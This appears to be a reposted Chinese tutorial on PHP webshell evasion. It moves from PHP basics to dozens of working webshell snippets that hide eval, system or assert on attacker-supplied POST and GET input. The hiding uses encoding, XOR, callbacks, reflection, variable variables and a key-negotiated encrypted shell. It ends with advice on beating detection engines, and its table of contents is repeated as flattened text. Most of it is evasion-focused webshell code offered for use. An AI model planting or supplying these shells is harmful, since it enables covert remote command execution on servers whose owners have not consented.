PHP从零学习到Webshell免杀手册
字数 1510 2025-08-10 10:14:26

PHP WebShell免杀手册详解

一、PHP基础知识

0.0 PHP基础格式

<?php
//执行的相关PHP代码
?>

0.1 赋值运算符

  • .= 用于字符串连接赋值
  • += 用于数值相加赋值
$a = 'a';
$b = 'b';
$c = 'c';
$c .= $a;
$c .= $b;
echo $c; //输出"cab"

0.2 数组操作

创建数组的几种方式:

// array()函数创建
$shuzu = array("AabyssZG", "AabyssTeam");

// []定义数组
$z = ['A','a','b','y','s','s'];

// compact()函数创建
$firstname = "Aabyss";
$result = compact("firstname");

数组嵌套示例:

$r = 'b[]=AabyssZG&b[]=system';
$rce = array();
parse_str($r, $rce);
echo $rce['b'][1]('whoami'); //执行system('whoami')

0.3 连接符

$str1 = "hello";
$str2 = "world";
echo $str1.$str2; //输出"helloworld"

0.4 运算符

  • & 按位与运算符:($var & 1)判断奇偶
  • xor 异或运算符:用于一些特殊场合

0.5 常量

define('-_-','smile'); //特殊符号开头的常量
define('WO', 3.14);
const WO = 3;

// 魔术常量
echo __FILE__; //当前文件完整路径
echo __LINE__; //当前行号

0.6 PHP特性

  • 函数名、方法名、类名不区分大小写
  • 常量和变量区分大小写
  • <?php ?>未闭合可能导致问题

0.7 PHP标记写法

<?php ?>  //标准写法
<?php     //省略闭合
<? ?>     //短标签(需开启short_open_tag)
<% %>     //ASP风格(需开启配置)
<script language="php"></script>

0.8 $_POST变量

$num1 = $_POST['num1'];
print_r($_POST); //打印所有POST数据

二、PHP函数详解

1. 回调类型函数

1.1 array_map()

array_map('system', array('whoami')); //可能被查杀
array_map($_GET['a'], array('whoami')); //动态调用

1.2 register_shutdown_function()

register_shutdown_function('test');
exit();
// 中止时会执行test函数

1.3 array_walk()

function myfunction($value,$key){
    echo "Key $key has value $value";
}
array_walk($a, "myfunction");

1.4 array_filter()

function test_odd($var){
    return($var & 1); //过滤奇数
}
print_r(array_filter($a1,"test_odd"));

1.5 foreach()

foreach($arr as $k=>$v){
    $arr[$k] = 2 * $v;
}

1.6 isset()

if(isset($var)){
    echo "变量已设置";
}

2. 字符串处理函数

2.1 substr()

echo substr("D://system//451232.php", -10, 6); //输出"451232"

2.2 intval()

echo intval(042); //34(八进制)
echo intval(0x1A); //26(十六进制)

2.3 parse_str()

parse_str("name=Peter&age=43",$myArray);
print_r($myArray); //Array([name]=>Peter [age]=>43)

2.4 pack()

echo pack("C3",80,72,80); //"PHP"(ASCII编码)
echo pack("H*","416162797373"); //"Aabyss"(十六进制)

3. 命令执行函数

3.1 eval()

eval('echo "Hello World";');
@eval($_POST['cmd']);

3.2 system()

system('whoami'); //直接执行系统命令

3.3 exec()

exec('ls', $result); //结果存入数组
print_r($result);

3.4 shell_exec()

echo shell_exec('ls'); //返回命令输出

3.5 passthru()

passthru('ls'); //直接输出命令结果

3.6 popen()

$result = popen('ls', 'r');
echo fread($result, 100);

3.7 反引号

echo `ls`; //执行命令并返回输出

4. 文件写入函数

4.1 fwrite()

$file = fopen("test.txt","w");
fwrite($file,"Hello World");
fclose($file);

4.2 file_put_contents()

file_put_contents('sites.txt', "\nGoogle", FILE_APPEND);

5. 异常处理类

5.1 Exception类

try {
    throw new Exception("Error");
} catch(Exception $e) {
    echo $e->getMessage();
    echo $e->getFile();
}

6. 数据库连接函数

6.1 SQLite示例

$db = new PDO("sqlite:AabyssZG.db");
$sql_stmt = $db->prepare('select * from test');
$sql_stmt->execute();

6.2 MySQL示例

$mysqli = new MySQLi("localhost", "user", "pass", "db");
$res = $mysqli->query($sql);

三、WebShell免杀技术

1. 编码绕过

1.1 Base64编码

$f = base64_decode("YXNzZXJ0"); //"assert"
$f($_POST['cmd']);

1.2 ASCII编码

$f = chr(97).chr(115).chr(115); //"ass"
$f .= chr(101).chr(114).chr(116); //"ert"
$f($_POST['cmd']); //assert($_POST['cmd'])

1.3 ROT13编码

$f = str_rot13('flfgrz'); //"system"
$f($_POST['cmd']);

1.4 Gzip压缩加密

eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));

2. 字符串混淆

2.1 自定义函数混淆

function confusion($a){
    $s = ['A','a','b','y','s','s'];
    $tmp = "";
    while($a>10){
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}
$f = confusion(976534); //"system"
$f($_POST['cmd']);

2.2 文件名混淆

// 文件名为976534.php
$f = confusion(intval(substr(__FILE__,-10,6))); //"system"
$f($_POST['cmd']);

3. 生成新文件绕过

$wahaha = strtr("abatme","me","em"); //"abatem"
$wahaha = strtr($wahaha,"ab","sy"); //"system"
$wahaha('echo "<?php eval($_POST[cmd])?>" > out.php');

4. 回调函数绕过

4.1 call_user_func_array()

$f = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); //"assert"
call_user_func_array($f, array($_POST['cmd']));

4.2 array_map()

function fun(){
    $f = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
    return ''.$f;
}
$user = fun(); //"assert"
array_map($user, array($_POST['cmd']));

5. 可变变量绕过

5.1 简单可变变量

$f = 'hello';

$$
f = $_POST['cmd'];
eval($hello); //eval($_POST['cmd'])

5.2 数组+变量引用

$z = "system";
$zhixin = &$z;
$result = compact("zhixin");
$z = 'wahaha';
$f = $result['zhixin'];
$f($_POST['cmd']); //system($_POST['cmd'])

6. 数组绕过

6.1 一维数组

$f = substr_replace("systxx","em",4); //"system"
$z = array(array('a'=>$f($_GET['cmd'])));

6.2 二维数组

$f = substr_replace("systxx","em",4);
$z = array(array(array('a'=>$f($_POST['cmd']))));

7. 类绕过

7.1 单类

class Test{
    public $_1='';
    function __destruct(){
        system("$this->a");
    }
}
$_2 = new Test;
$_2->$_1 = $_POST['cmd'];

7.2 多类

class Test1{
    public $b ='';
    function post(){return $_POST['cmd'];}
}
class Test2 extends Test1{
    function __construct(){
        system(parent::post());
    }
}
new Test2;

8. 嵌套运算绕过

8.1 异或运算

$f = ('.$.48]0'); //通过异或得到"system"
$f($_POST['cmd']);

8.2 复杂嵌套

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));

9. 传参绕过

9.1 Base64传参

$a = $_REQUEST['a']; //"c3lzdGVt"(system的base64)
$b = $_REQUEST['b']; //"d2hvYW1p"(whoami的base64)
$arrs = explode("|", base64_decode($a));
$arrt = explode("|", base64_decode($b));
call_user_func($arrs[0],$arrt[0]); //system('whoami')

9.2 函数构造传参

$f = $_REQUEST['f'];
register_tick_function($f, $_REQUEST['cmd']);

10. 自定义函数绕过

10.1 多层嵌套

function out($b){return $b;}
function zhixin($a){return system($a);}
function post(){return $_POST['cmd'];}
function run(){return out(zhixin)(out(post()));}
run();

10.2 反射获取常量

class Test{
    const a = 'Sy';
    const b = 'st';
    const c = 'em';
}
$reflector = new ReflectionClass('Test');
$para2 = $reflector->getConstant('a')
       . $reflector->getConstant('b')
       . $reflector->getConstant('c');
$para2($_GET['cmd']); //system($_GET['cmd'])

11. 读取字符串绕过

11.1 读取注释

/** system($_GET[cmd]); */
class User{}
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
eval(substr($comment,14,22));

11.2 读取数据库

$db = new PDO("sqlite:database.db");
$sql_stmt = $db->prepare('select * from test where name="system"');
$sql_stmt->execute();
$f = substr($sql_stmt->queryString, -7, 6);
$f($_GET['cmd']);

11.3 读取目录

$fi = new FilesystemIterator(dirname(__FILE__));
foreach($fi as $i){
    if(substr($i->__toString(),-6,6)=='aabyss'){
        $f = substr($i->__toString(),-13,6); //"system"
    }
}
$f($_GET['cmd']);

12. 多姿势组合免杀

12.1 异或+参数变换

<?php
$__=("^"^"`");       //_
$___.=("!"^"{").$__; //G
$____=("("^"[").$__; //E
$_____.=$____.$___.("!"^"{"); //ET
$_=
$$
_____;
$_[_]($_[__]); //$_GET[_]($_GET[__])
?>
// 使用: ?_=system&__=whoami

12.2 字符串截取+编解码

class Car{
    function encode(){
        $num=base64_decode($_POST['num']);
        foreach($_POST as $k=>$v){
            $_POST[$k]=pack("H*",substr($v,$num,-$num));
        }
        return base64_decode($_POST['Qxi*37yz']);
    }
    function Xt(){eval($this->encode());}
}
(new Car)->Xt();
// 传参: num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62

12.3 密钥协商+异或加密

session_start();
function set_token($v,$t){
    $r="";
    for($x=0;$x<strlen($v);$x++){
        $r.=chr(ord($v[$x])^ord($t[$x%strlen($t)]));
    }
    return $r;
}
if(isset($_SERVER["HTTP_TOKEN"])){
    $_SESSION['token']=substr(md5(rand()),16);
    header('Token:'.$_SESSION['token']);
}else{
    $v=base64_decode($_SERVER['HTTP_X_CSRF_TOKEN']);
    eval(null.set_token($v,$_SESSION['token']));
}
// 使用需先获取Token,再用Token加密payload

四、免杀思路总结

1. WebShell查杀思路

  • 统计分析:基于特征码、函数黑名单
  • 语义分析:AST语法树分析
  • 机器学习:基于样本训练模型
  • 动态监控:RASP实时防护

2. 免杀核心策略

  1. 混淆关键部分:函数名、参数、变量
  2. 动态执行:利用回调、可变变量等特性
  3. 编码转换:Base64、Hex、异或等
  4. 分块传输:通过多次传参组合
  5. 环境依赖:利用服务器特定环境

3. 实用建议

  • 避免直接使用高危函数名
  • 多使用字符串拼接和编码转换
  • 结合PHP动态特性动态生成代码
  • 利用类、异常等复杂结构
  • 测试时使用多款查杀引擎验证

4. 测试资源

  • 牧云Webshell检测引擎
  • 微步在线云沙箱
  • 河马WebShell查杀
  • VirusTotal
  • 阿里云恶意文件检测

通过灵活组合上述技术,可以构建出能够绕过常见检测的WebShell。关键在于理解各种PHP特性和函数的用法,以及WAF的检测原理,从而找到检测盲区。

PHP WebShell免杀手册详解 一、PHP基础知识 0.0 PHP基础格式 0.1 赋值运算符 .= 用于字符串连接赋值 += 用于数值相加赋值 0.2 数组操作 创建数组的几种方式: 数组嵌套示例: 0.3 连接符 0.4 运算符 & 按位与运算符: ($var & 1) 判断奇偶 xor 异或运算符:用于一些特殊场合 0.5 常量 0.6 PHP特性 函数名、方法名、类名不区分大小写 常量和变量区分大小写 <?php ?> 未闭合可能导致问题 0.7 PHP标记写法 0.8 $_ POST变量 二、PHP函数详解 1. 回调类型函数 1.1 array_ map() 1.2 register_ shutdown_ function() 1.3 array_ walk() 1.4 array_ filter() 1.5 foreach() 1.6 isset() 2. 字符串处理函数 2.1 substr() 2.2 intval() 2.3 parse_ str() 2.4 pack() 3. 命令执行函数 3.1 eval() 3.2 system() 3.3 exec() 3.4 shell_ exec() 3.5 passthru() 3.6 popen() 3.7 反引号 4. 文件写入函数 4.1 fwrite() 4.2 file_ put_ contents() 5. 异常处理类 5.1 Exception类 6. 数据库连接函数 6.1 SQLite示例 6.2 MySQL示例 三、WebShell免杀技术 1. 编码绕过 1.1 Base64编码 1.2 ASCII编码 1.3 ROT13编码 1.4 Gzip压缩加密 2. 字符串混淆 2.1 自定义函数混淆 2.2 文件名混淆 3. 生成新文件绕过 4. 回调函数绕过 4.1 call_ user_ func_ array() 4.2 array_ map() 5. 可变变量绕过 5.1 简单可变变量 5.2 数组+变量引用 6. 数组绕过 6.1 一维数组 6.2 二维数组 7. 类绕过 7.1 单类 7.2 多类 8. 嵌套运算绕过 8.1 异或运算 8.2 复杂嵌套 9. 传参绕过 9.1 Base64传参 9.2 函数构造传参 10. 自定义函数绕过 10.1 多层嵌套 10.2 反射获取常量 11. 读取字符串绕过 11.1 读取注释 11.2 读取数据库 11.3 读取目录 12. 多姿势组合免杀 12.1 异或+参数变换 12.2 字符串截取+编解码 12.3 密钥协商+异或加密 四、免杀思路总结 1. WebShell查杀思路 统计分析:基于特征码、函数黑名单 语义分析:AST语法树分析 机器学习:基于样本训练模型 动态监控:RASP实时防护 2. 免杀核心策略 混淆关键部分 :函数名、参数、变量 动态执行 :利用回调、可变变量等特性 编码转换 :Base64、Hex、异或等 分块传输 :通过多次传参组合 环境依赖 :利用服务器特定环境 3. 实用建议 避免直接使用高危函数名 多使用字符串拼接和编码转换 结合PHP动态特性动态生成代码 利用类、异常等复杂结构 测试时使用多款查杀引擎验证 4. 测试资源 牧云Webshell检测引擎 微步在线云沙箱 河马WebShell查杀 VirusTotal 阿里云恶意文件检测 通过灵活组合上述技术,可以构建出能够绕过常见检测的WebShell。关键在于理解各种PHP特性和函数的用法,以及WAF的检测原理,从而找到检测盲区。